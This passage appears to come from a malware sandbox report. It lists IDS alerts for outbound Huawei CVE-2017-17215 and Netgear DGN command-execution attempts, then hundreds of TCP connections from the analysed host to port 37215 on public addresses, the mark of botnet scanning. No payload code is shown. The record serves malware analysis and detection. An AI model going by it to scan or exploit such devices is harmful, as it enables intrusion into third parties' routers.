192.168.2.23197.194.247.036818372152835222 02/12/23-21:25:13.703507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36818	37215	192.168.2.23	197.194.247.0
192.168.2.23103.43.8.12458310372152835222 02/12/23-21:25:52.445952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58310	37215	192.168.2.23	103.43.8.124
192.168.2.23197.193.183.14734992372152835222 02/12/23-21:24:42.876215	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34992	37215	192.168.2.23	197.193.183.147
192.168.2.23213.151.56.9537202372152835222 02/12/23-21:25:07.481435	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37202	37215	192.168.2.23	213.151.56.95
192.168.2.23197.192.40.7439900372152835222 02/12/23-21:26:12.034593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39900	37215	192.168.2.23	197.192.40.74
192.168.2.23197.193.176.2844558372152835222 02/12/23-21:25:58.630541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44558	37215	192.168.2.23	197.193.176.28
192.168.2.23197.195.41.21543052372152835222 02/12/23-21:25:47.000235	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43052	37215	192.168.2.23	197.195.41.215
192.168.2.23197.196.153.7139826372152835222 02/12/23-21:25:52.509598	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39826	37215	192.168.2.23	197.196.153.71
192.168.2.23197.199.2.20858176372152835222 02/12/23-21:25:26.318610	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58176	37215	192.168.2.23	197.199.2.208
192.168.2.23197.192.228.20939964372152835222 02/12/23-21:26:11.958284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39964	37215	192.168.2.23	197.192.228.209
192.168.2.23197.196.231.7850740372152835222 02/12/23-21:25:15.842416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50740	37215	192.168.2.23	197.196.231.78
192.168.2.2352.48.46.4951510802029215 02/12/23-21:26:18.903135	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	51510	80	192.168.2.23	52.48.46.49
192.168.2.2341.152.38.7260606372152835222 02/12/23-21:25:13.725119	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60606	37215	192.168.2.23	41.152.38.72
192.168.2.23197.194.138.3336534372152835222 02/12/23-21:25:03.305708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36534	37215	192.168.2.23	197.194.138.33
192.168.2.23197.192.206.25538866372152835222 02/12/23-21:25:39.686751	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38866	37215	192.168.2.23	197.192.206.255
192.168.2.23197.195.228.14259754372152835222 02/12/23-21:25:18.157618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59754	37215	192.168.2.23	197.195.228.142
192.168.2.23197.195.4.1857232372152835222 02/12/23-21:25:26.256778	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57232	37215	192.168.2.23	197.195.4.18
192.168.2.23197.195.218.10359744372152835222 02/12/23-21:25:09.548037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59744	37215	192.168.2.23	197.195.218.103
192.168.2.23197.199.26.14740268372152835222 02/12/23-21:25:39.625300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40268	37215	192.168.2.23	197.199.26.147
192.168.2.23197.194.154.12546328372152835222 02/12/23-21:24:46.022459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46328	37215	192.168.2.23	197.194.154.125
192.168.2.2341.153.134.11444588372152835222 02/12/23-21:26:09.892842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44588	37215	192.168.2.23	41.153.134.114
192.168.2.23197.1.109.4360688372152835222 02/12/23-21:24:37.659734	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60688	37215	192.168.2.23	197.1.109.43
192.168.2.23197.199.47.11832778372152835222 02/12/23-21:25:33.561084	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32778	37215	192.168.2.23	197.199.47.118
192.168.2.23197.197.171.18356402372152835222 02/12/23-21:25:09.567797	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56402	37215	192.168.2.23	197.197.171.183
192.168.2.23197.195.4.13834364372152835222 02/12/23-21:26:25.214309	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34364	37215	192.168.2.23	197.195.4.138
192.168.2.23197.195.50.3953986372152835222 02/12/23-21:26:25.230424	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53986	37215	192.168.2.23	197.195.50.39
192.168.2.23197.193.173.3457540372152835222 02/12/23-21:26:28.306311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57540	37215	192.168.2.23	197.193.173.34
192.168.2.2341.153.126.10637348372152835222 02/12/23-21:25:52.521688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37348	37215	192.168.2.23	41.153.126.106
192.168.2.2341.153.191.3533506372152835222 02/12/23-21:25:26.318562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33506	37215	192.168.2.23	41.153.191.35
192.168.2.23197.199.69.24758460372152835222 02/12/23-21:26:23.138541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58460	37215	192.168.2.23	197.199.69.247
192.168.2.23197.199.56.25458430372152835222 02/12/23-21:25:52.519015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58430	37215	192.168.2.23	197.199.56.254
192.168.2.23197.192.90.11954312372152835222 02/12/23-21:26:15.036038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54312	37215	192.168.2.23	197.192.90.119
192.168.2.23197.192.223.9750500372152835222 02/12/23-21:25:15.846801	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50500	37215	192.168.2.23	197.192.223.97
192.168.2.23197.193.250.5847704372152835222 02/12/23-21:25:51.212750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47704	37215	192.168.2.23	197.193.250.58
192.168.2.23197.197.139.15241736372152835222 02/12/23-21:25:28.393319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41736	37215	192.168.2.23	197.197.139.152
192.168.2.2341.62.85.22542096372152835222 02/12/23-21:24:41.803168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42096	37215	192.168.2.23	41.62.85.225
192.168.2.23197.195.75.15750072372152835222 02/12/23-21:25:05.383017	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50072	37215	192.168.2.23	197.195.75.157
192.168.2.2352.51.46.4933524802029215 02/12/23-21:25:05.180062	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	33524	80	192.168.2.23	52.51.46.49
192.168.2.2341.153.55.1655886372152835222 02/12/23-21:25:46.997605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55886	37215	192.168.2.23	41.153.55.16
192.168.2.23197.39.11.11655196372152835222 02/12/23-21:26:00.795015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55196	37215	192.168.2.23	197.39.11.116
192.168.2.2377.131.0.740274372152835222 02/12/23-21:24:45.933780	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40274	37215	192.168.2.23	77.131.0.7
192.168.2.2352.51.46.4933286802029215 02/12/23-21:24:58.038943	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	33286	80	192.168.2.23	52.51.46.49
192.168.2.23197.196.154.14344924372152835222 02/12/23-21:25:09.605171	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44924	37215	192.168.2.23	197.196.154.143
192.168.2.2341.193.241.4652984372152835222 02/12/23-21:25:03.274884	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52984	37215	192.168.2.23	41.193.241.46
192.168.2.23197.195.28.1442952372152835222 02/12/23-21:26:32.476861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42952	37215	192.168.2.23	197.195.28.14

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 12, 2023 21:24:30.064652920 CET	42836	443	192.168.2.23	91.189.91.43
Feb 12, 2023 21:24:30.832674026 CET	42516	80	192.168.2.23	109.202.202.202
Feb 12, 2023 21:24:31.562516928 CET	52981	37215	192.168.2.23	197.43.161.46
Feb 12, 2023 21:24:31.562516928 CET	52981	37215	192.168.2.23	197.36.41.45
Feb 12, 2023 21:24:31.562541008 CET	52981	37215	192.168.2.23	157.139.151.70
Feb 12, 2023 21:24:31.562561035 CET	52981	37215	192.168.2.23	41.165.225.231
Feb 12, 2023 21:24:31.562567949 CET	52981	37215	192.168.2.23	41.218.170.2
Feb 12, 2023 21:24:31.562568903 CET	52981	37215	192.168.2.23	41.104.177.250
Feb 12, 2023 21:24:31.562585115 CET	52981	37215	192.168.2.23	197.246.236.133
Feb 12, 2023 21:24:31.562601089 CET	52981	37215	192.168.2.23	157.159.163.19
Feb 12, 2023 21:24:31.562599897 CET	52981	37215	192.168.2.23	86.24.111.197
Feb 12, 2023 21:24:31.562607050 CET	52981	37215	192.168.2.23	41.200.55.202
Feb 12, 2023 21:24:31.562599897 CET	52981	37215	192.168.2.23	197.137.199.163
Feb 12, 2023 21:24:31.562607050 CET	52981	37215	192.168.2.23	41.216.74.76
Feb 12, 2023 21:24:31.562607050 CET	52981	37215	192.168.2.23	74.54.103.63
Feb 12, 2023 21:24:31.562599897 CET	52981	37215	192.168.2.23	177.194.28.76
Feb 12, 2023 21:24:31.562607050 CET	52981	37215	192.168.2.23	197.178.186.56
Feb 12, 2023 21:24:31.562611103 CET	52981	37215	192.168.2.23	157.48.48.6
Feb 12, 2023 21:24:31.562613964 CET	52981	37215	192.168.2.23	197.186.214.128
Feb 12, 2023 21:24:31.562611103 CET	52981	37215	192.168.2.23	197.247.178.106
Feb 12, 2023 21:24:31.562611103 CET	52981	37215	192.168.2.23	157.85.89.137
Feb 12, 2023 21:24:31.562613964 CET	52981	37215	192.168.2.23	197.61.188.193
Feb 12, 2023 21:24:31.562653065 CET	52981	37215	192.168.2.23	197.40.146.216
Feb 12, 2023 21:24:31.562653065 CET	52981	37215	192.168.2.23	197.54.239.60
Feb 12, 2023 21:24:31.562653065 CET	52981	37215	192.168.2.23	197.226.87.170
Feb 12, 2023 21:24:31.562653065 CET	52981	37215	192.168.2.23	79.207.30.122
Feb 12, 2023 21:24:31.562653065 CET	52981	37215	192.168.2.23	41.51.85.142
Feb 12, 2023 21:24:31.562653065 CET	52981	37215	192.168.2.23	197.13.174.196
Feb 12, 2023 21:24:31.562659979 CET	52981	37215	192.168.2.23	68.32.18.247
Feb 12, 2023 21:24:31.562663078 CET	52981	37215	192.168.2.23	40.54.55.23
Feb 12, 2023 21:24:31.562663078 CET	52981	37215	192.168.2.23	105.192.205.224
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	197.66.230.221
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	197.172.92.23
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	41.115.162.63
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	27.234.60.159
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	173.63.63.144
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	41.231.236.33
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	157.219.43.230
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	41.36.143.214
Feb 12, 2023 21:24:31.562669992 CET	52981	37215	192.168.2.23	157.158.204.177
Feb 12, 2023 21:24:31.562680960 CET	52981	37215	192.168.2.23	41.48.29.101
Feb 12, 2023 21:24:31.562680960 CET	52981	37215	192.168.2.23	157.124.109.12
Feb 12, 2023 21:24:31.562680960 CET	52981	37215	192.168.2.23	41.88.155.66
Feb 12, 2023 21:24:31.562711000 CET	52981	37215	192.168.2.23	64.190.194.97
Feb 12, 2023 21:24:31.562719107 CET	52981	37215	192.168.2.23	197.186.250.100
Feb 12, 2023 21:24:31.562719107 CET	52981	37215	192.168.2.23	197.75.202.235
Feb 12, 2023 21:24:31.562726021 CET	52981	37215	192.168.2.23	41.68.85.47
Feb 12, 2023 21:24:31.562740088 CET	52981	37215	192.168.2.23	197.106.246.203
Feb 12, 2023 21:24:31.562740088 CET	52981	37215	192.168.2.23	197.164.66.20
Feb 12, 2023 21:24:31.562751055 CET	52981	37215	192.168.2.23	197.225.255.226
Feb 12, 2023 21:24:31.562751055 CET	52981	37215	192.168.2.23	197.195.114.205
Feb 12, 2023 21:24:31.562751055 CET	52981	37215	192.168.2.23	83.39.73.254
Feb 12, 2023 21:24:31.562751055 CET	52981	37215	192.168.2.23	157.200.145.66
Feb 12, 2023 21:24:31.562751055 CET	52981	37215	192.168.2.23	197.247.241.41
Feb 12, 2023 21:24:31.562758923 CET	52981	37215	192.168.2.23	42.136.2.97
Feb 12, 2023 21:24:31.562777042 CET	52981	37215	192.168.2.23	157.206.206.180
Feb 12, 2023 21:24:31.562781096 CET	52981	37215	192.168.2.23	41.153.138.4
Feb 12, 2023 21:24:31.562779903 CET	52981	37215	192.168.2.23	157.230.130.79
Feb 12, 2023 21:24:31.562781096 CET	52981	37215	192.168.2.23	197.178.223.193
Feb 12, 2023 21:24:31.562782049 CET	52981	37215	192.168.2.23	207.254.51.59
Feb 12, 2023 21:24:31.562782049 CET	52981	37215	192.168.2.23	157.31.33.118
Feb 12, 2023 21:24:31.562783003 CET	52981	37215	192.168.2.23	154.49.47.65
Feb 12, 2023 21:24:31.562782049 CET	52981	37215	192.168.2.23	197.228.40.210
Feb 12, 2023 21:24:31.562810898 CET	52981	37215	192.168.2.23	41.5.123.20
Feb 12, 2023 21:24:31.562812090 CET	52981	37215	192.168.2.23	41.167.6.54
Feb 12, 2023 21:24:31.562812090 CET	52981	37215	192.168.2.23	160.4.160.229
Feb 12, 2023 21:24:31.562812090 CET	52981	37215	192.168.2.23	77.151.241.187
Feb 12, 2023 21:24:31.562812090 CET	52981	37215	192.168.2.23	197.155.141.59
Feb 12, 2023 21:24:31.562819958 CET	52981	37215	192.168.2.23	197.223.50.192
Feb 12, 2023 21:24:31.562819004 CET	52981	37215	192.168.2.23	197.51.189.57
Feb 12, 2023 21:24:31.562819004 CET	52981	37215	192.168.2.23	157.228.230.123
Feb 12, 2023 21:24:31.562819004 CET	52981	37215	192.168.2.23	41.136.147.198
Feb 12, 2023 21:24:31.562819004 CET	52981	37215	192.168.2.23	157.118.88.118
Feb 12, 2023 21:24:31.562819004 CET	52981	37215	192.168.2.23	157.2.45.140
Feb 12, 2023 21:24:31.562834978 CET	52981	37215	192.168.2.23	179.75.146.234
Feb 12, 2023 21:24:31.562835932 CET	52981	37215	192.168.2.23	197.155.159.200
Feb 12, 2023 21:24:31.562835932 CET	52981	37215	192.168.2.23	157.232.155.90
Feb 12, 2023 21:24:31.562844038 CET	52981	37215	192.168.2.23	197.6.165.144
Feb 12, 2023 21:24:31.562844038 CET	52981	37215	192.168.2.23	200.130.77.109
Feb 12, 2023 21:24:31.562845945 CET	52981	37215	192.168.2.23	157.147.195.173
Feb 12, 2023 21:24:31.562845945 CET	52981	37215	192.168.2.23	41.70.92.38
Feb 12, 2023 21:24:31.562845945 CET	52981	37215	192.168.2.23	41.203.192.70
Feb 12, 2023 21:24:31.562845945 CET	52981	37215	192.168.2.23	197.114.185.59
Feb 12, 2023 21:24:31.562864065 CET	52981	37215	192.168.2.23	157.127.52.240
Feb 12, 2023 21:24:31.562865019 CET	52981	37215	192.168.2.23	41.137.103.34
Feb 12, 2023 21:24:31.562865019 CET	52981	37215	192.168.2.23	157.92.221.189
Feb 12, 2023 21:24:31.562865019 CET	52981	37215	192.168.2.23	157.14.176.140
Feb 12, 2023 21:24:31.562868118 CET	52981	37215	192.168.2.23	41.163.201.84
Feb 12, 2023 21:24:31.562868118 CET	52981	37215	192.168.2.23	41.217.134.92
Feb 12, 2023 21:24:31.562891006 CET	52981	37215	192.168.2.23	197.185.38.186
Feb 12, 2023 21:24:31.562891006 CET	52981	37215	192.168.2.23	154.114.173.74
Feb 12, 2023 21:24:31.562891960 CET	52981	37215	192.168.2.23	41.233.173.156
Feb 12, 2023 21:24:31.562899113 CET	52981	37215	192.168.2.23	157.156.178.38
Feb 12, 2023 21:24:31.562899113 CET	52981	37215	192.168.2.23	157.141.116.242
Feb 12, 2023 21:24:31.562899113 CET	52981	37215	192.168.2.23	41.101.99.131
Feb 12, 2023 21:24:31.562899113 CET	52981	37215	192.168.2.23	197.215.154.250
Feb 12, 2023 21:24:31.562911987 CET	52981	37215	192.168.2.23	41.239.59.166
Feb 12, 2023 21:24:31.562911987 CET	52981	37215	192.168.2.23	102.18.106.110
Feb 12, 2023 21:24:31.562913895 CET	52981	37215	192.168.2.23	41.216.93.36
Feb 12, 2023 21:24:31.562913895 CET	52981	37215	192.168.2.23	197.165.108.98
Feb 12, 2023 21:24:31.562916040 CET	52981	37215	192.168.2.23	157.75.119.51
Feb 12, 2023 21:24:31.562913895 CET	52981	37215	192.168.2.23	140.254.200.230
Feb 12, 2023 21:24:31.562916040 CET	52981	37215	192.168.2.23	197.254.235.195
Feb 12, 2023 21:24:31.562916040 CET	52981	37215	192.168.2.23	41.145.194.213
Feb 12, 2023 21:24:31.562927008 CET	52981	37215	192.168.2.23	157.242.94.158
Feb 12, 2023 21:24:31.562936068 CET	52981	37215	192.168.2.23	157.246.20.205
Feb 12, 2023 21:24:31.562936068 CET	52981	37215	192.168.2.23	204.200.250.229
Feb 12, 2023 21:24:31.562944889 CET	52981	37215	192.168.2.23	183.220.85.254
Feb 12, 2023 21:24:31.562958002 CET	52981	37215	192.168.2.23	197.119.109.126
Feb 12, 2023 21:24:31.562958002 CET	52981	37215	192.168.2.23	157.235.91.110
Feb 12, 2023 21:24:31.562958002 CET	52981	37215	192.168.2.23	188.129.92.97
Feb 12, 2023 21:24:31.562959909 CET	52981	37215	192.168.2.23	157.136.170.152
Feb 12, 2023 21:24:31.562959909 CET	52981	37215	192.168.2.23	197.219.47.242
Feb 12, 2023 21:24:31.562958002 CET	52981	37215	192.168.2.23	41.135.4.208
Feb 12, 2023 21:24:31.562968016 CET	52981	37215	192.168.2.23	96.180.76.250
Feb 12, 2023 21:24:31.562983990 CET	52981	37215	192.168.2.23	197.58.121.97
Feb 12, 2023 21:24:31.563000917 CET	52981	37215	192.168.2.23	41.230.142.3
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	157.44.159.130
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	197.148.99.58
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	157.172.46.157
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	157.252.150.22
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	197.137.122.236
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	157.48.129.100
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	106.72.95.9
Feb 12, 2023 21:24:31.563021898 CET	52981	37215	192.168.2.23	23.199.232.18
Feb 12, 2023 21:24:31.563064098 CET	52981	37215	192.168.2.23	197.108.140.71
Feb 12, 2023 21:24:31.563064098 CET	52981	37215	192.168.2.23	197.29.154.144
Feb 12, 2023 21:24:31.563065052 CET	52981	37215	192.168.2.23	197.217.129.142
Feb 12, 2023 21:24:31.563083887 CET	52981	37215	192.168.2.23	157.52.118.223
Feb 12, 2023 21:24:31.563146114 CET	52981	37215	192.168.2.23	157.251.142.234
Feb 12, 2023 21:24:31.563147068 CET	52981	37215	192.168.2.23	41.71.210.74
Feb 12, 2023 21:24:31.563147068 CET	52981	37215	192.168.2.23	157.70.84.112
Feb 12, 2023 21:24:31.566024065 CET	52981	37215	192.168.2.23	197.111.86.234
Feb 12, 2023 21:24:31.566024065 CET	52981	37215	192.168.2.23	197.111.225.115
Feb 12, 2023 21:24:31.566028118 CET	52981	37215	192.168.2.23	157.25.218.182
Feb 12, 2023 21:24:31.566076994 CET	52981	37215	192.168.2.23	157.51.15.194
Feb 12, 2023 21:24:31.566076994 CET	52981	37215	192.168.2.23	41.254.224.39
Feb 12, 2023 21:24:31.566117048 CET	52981	37215	192.168.2.23	197.156.141.255
Feb 12, 2023 21:24:31.566117048 CET	52981	37215	192.168.2.23	157.143.187.74
Feb 12, 2023 21:24:31.566117048 CET	52981	37215	192.168.2.23	157.77.102.100
Feb 12, 2023 21:24:31.566123009 CET	52981	37215	192.168.2.23	197.71.93.252
Feb 12, 2023 21:24:31.566123009 CET	52981	37215	192.168.2.23	41.234.52.249
Feb 12, 2023 21:24:31.566127062 CET	52981	37215	192.168.2.23	41.10.124.0
Feb 12, 2023 21:24:31.566145897 CET	52981	37215	192.168.2.23	157.163.38.19
Feb 12, 2023 21:24:31.566171885 CET	52981	37215	192.168.2.23	157.235.33.228
Feb 12, 2023 21:24:31.566179037 CET	52981	37215	192.168.2.23	41.98.53.169
Feb 12, 2023 21:24:31.566196918 CET	52981	37215	192.168.2.23	157.138.64.247
Feb 12, 2023 21:24:31.566196918 CET	52981	37215	192.168.2.23	197.155.211.200
Feb 12, 2023 21:24:31.566201925 CET	52981	37215	192.168.2.23	197.65.193.127
Feb 12, 2023 21:24:31.566210032 CET	52981	37215	192.168.2.23	152.220.128.207
Feb 12, 2023 21:24:31.566212893 CET	52981	37215	192.168.2.23	157.255.162.202
Feb 12, 2023 21:24:31.566212893 CET	52981	37215	192.168.2.23	103.32.68.173
Feb 12, 2023 21:24:31.566231966 CET	52981	37215	192.168.2.23	197.100.51.25
Feb 12, 2023 21:24:31.566232920 CET	52981	37215	192.168.2.23	220.50.129.248
Feb 12, 2023 21:24:31.566257000 CET	52981	37215	192.168.2.23	153.237.252.170
Feb 12, 2023 21:24:31.566257000 CET	52981	37215	192.168.2.23	41.108.233.131
Feb 12, 2023 21:24:31.566262960 CET	52981	37215	192.168.2.23	197.166.38.137
Feb 12, 2023 21:24:31.566268921 CET	52981	37215	192.168.2.23	41.19.63.26
Feb 12, 2023 21:24:31.566270113 CET	52981	37215	192.168.2.23	18.214.101.113
Feb 12, 2023 21:24:31.566270113 CET	52981	37215	192.168.2.23	157.134.207.26
Feb 12, 2023 21:24:31.566277027 CET	52981	37215	192.168.2.23	157.246.127.204
Feb 12, 2023 21:24:31.566288948 CET	52981	37215	192.168.2.23	41.198.20.209
Feb 12, 2023 21:24:31.566304922 CET	52981	37215	192.168.2.23	41.210.225.21
Feb 12, 2023 21:24:31.566312075 CET	52981	37215	192.168.2.23	157.8.158.120
Feb 12, 2023 21:24:31.566319942 CET	52981	37215	192.168.2.23	41.155.86.112
Feb 12, 2023 21:24:31.566334963 CET	52981	37215	192.168.2.23	41.142.188.45
Feb 12, 2023 21:24:31.566334963 CET	52981	37215	192.168.2.23	197.90.67.148
Feb 12, 2023 21:24:31.566334963 CET	52981	37215	192.168.2.23	157.227.103.57
Feb 12, 2023 21:24:31.566334963 CET	52981	37215	192.168.2.23	41.196.223.223
Feb 12, 2023 21:24:31.566354990 CET	52981	37215	192.168.2.23	41.1.52.236
Feb 12, 2023 21:24:31.566354990 CET	52981	37215	192.168.2.23	157.118.204.231
Feb 12, 2023 21:24:31.566365957 CET	52981	37215	192.168.2.23	98.194.25.86
Feb 12, 2023 21:24:31.566370964 CET	52981	37215	192.168.2.23	157.192.40.4
Feb 12, 2023 21:24:31.566370964 CET	52981	37215	192.168.2.23	209.209.117.208
Feb 12, 2023 21:24:31.566423893 CET	52981	37215	192.168.2.23	140.145.30.27
Feb 12, 2023 21:24:31.566423893 CET	52981	37215	192.168.2.23	41.155.3.216
Feb 12, 2023 21:24:31.566466093 CET	52981	37215	192.168.2.23	70.53.127.164
Feb 12, 2023 21:24:31.566471100 CET	52981	37215	192.168.2.23	197.134.191.39
Feb 12, 2023 21:24:31.566474915 CET	52981	37215	192.168.2.23	197.230.117.86
Feb 12, 2023 21:24:31.566479921 CET	52981	37215	192.168.2.23	129.40.197.112
Feb 12, 2023 21:24:31.566503048 CET	52981	37215	192.168.2.23	197.242.29.236
Feb 12, 2023 21:24:31.566502094 CET	52981	37215	192.168.2.23	197.191.225.136
Feb 12, 2023 21:24:31.566509962 CET	52981	37215	192.168.2.23	197.226.232.144
Feb 12, 2023 21:24:31.566519976 CET	52981	37215	192.168.2.23	197.68.191.123
Feb 12, 2023 21:24:31.566538095 CET	52981	37215	192.168.2.23	157.71.124.108
Feb 12, 2023 21:24:31.566540003 CET	52981	37215	192.168.2.23	58.195.33.17
Feb 12, 2023 21:24:31.566551924 CET	52981	37215	192.168.2.23	197.204.175.44
Feb 12, 2023 21:24:31.566554070 CET	52981	37215	192.168.2.23	197.45.183.142
Feb 12, 2023 21:24:31.566566944 CET	52981	37215	192.168.2.23	97.193.1.107
Feb 12, 2023 21:24:31.566576958 CET	52981	37215	192.168.2.23	62.39.11.10
Feb 12, 2023 21:24:31.566591024 CET	52981	37215	192.168.2.23	210.26.165.25
Feb 12, 2023 21:24:31.566597939 CET	52981	37215	192.168.2.23	41.70.83.31
Feb 12, 2023 21:24:31.566612005 CET	52981	37215	192.168.2.23	197.171.109.167
Feb 12, 2023 21:24:31.566617012 CET	52981	37215	192.168.2.23	41.125.150.52
Feb 12, 2023 21:24:31.566617966 CET	52981	37215	192.168.2.23	157.201.72.24
Feb 12, 2023 21:24:31.566662073 CET	52981	37215	192.168.2.23	41.34.19.140
Feb 12, 2023 21:24:31.566674948 CET	52981	37215	192.168.2.23	41.158.120.85
Feb 12, 2023 21:24:31.566682100 CET	52981	37215	192.168.2.23	157.254.117.87
Feb 12, 2023 21:24:31.566682100 CET	52981	37215	192.168.2.23	197.150.198.238
Feb 12, 2023 21:24:31.566685915 CET	52981	37215	192.168.2.23	197.151.189.155
Feb 12, 2023 21:24:31.566685915 CET	52981	37215	192.168.2.23	41.224.234.224
Feb 12, 2023 21:24:31.566711903 CET	52981	37215	192.168.2.23	157.108.225.159
Feb 12, 2023 21:24:31.566719055 CET	52981	37215	192.168.2.23	157.104.49.129
Feb 12, 2023 21:24:31.566719055 CET	52981	37215	192.168.2.23	66.47.146.35
Feb 12, 2023 21:24:31.566740036 CET	52981	37215	192.168.2.23	89.0.126.71
Feb 12, 2023 21:24:31.566740036 CET	52981	37215	192.168.2.23	41.87.210.47
Feb 12, 2023 21:24:31.566742897 CET	52981	37215	192.168.2.23	41.166.249.55
Feb 12, 2023 21:24:31.566747904 CET	52981	37215	192.168.2.23	41.252.90.2
Feb 12, 2023 21:24:31.566750050 CET	52981	37215	192.168.2.23	41.2.232.1
Feb 12, 2023 21:24:31.566819906 CET	52981	37215	192.168.2.23	41.242.193.14
Feb 12, 2023 21:24:31.566826105 CET	52981	37215	192.168.2.23	108.237.63.114
Feb 12, 2023 21:24:31.566826105 CET	52981	37215	192.168.2.23	197.241.133.185
Feb 12, 2023 21:24:31.566826105 CET	52981	37215	192.168.2.23	41.134.7.229
Feb 12, 2023 21:24:31.566834927 CET	52981	37215	192.168.2.23	41.218.175.106
Feb 12, 2023 21:24:31.566834927 CET	52981	37215	192.168.2.23	41.59.177.189
Feb 12, 2023 21:24:31.566859007 CET	52981	37215	192.168.2.23	207.7.230.4
Feb 12, 2023 21:24:31.566871881 CET	52981	37215	192.168.2.23	41.152.49.117
Feb 12, 2023 21:24:31.566873074 CET	52981	37215	192.168.2.23	41.103.24.227
Feb 12, 2023 21:24:31.566873074 CET	52981	37215	192.168.2.23	157.52.46.214
Feb 12, 2023 21:24:31.566874027 CET	52981	37215	192.168.2.23	197.143.103.96
Feb 12, 2023 21:24:31.566874027 CET	52981	37215	192.168.2.23	41.98.221.211
Feb 12, 2023 21:24:31.566874027 CET	52981	37215	192.168.2.23	41.209.237.153
Feb 12, 2023 21:24:31.566888094 CET	52981	37215	192.168.2.23	69.169.20.57
Feb 12, 2023 21:24:31.566888094 CET	52981	37215	192.168.2.23	157.205.83.85
Feb 12, 2023 21:24:31.566888094 CET	52981	37215	192.168.2.23	157.119.241.196
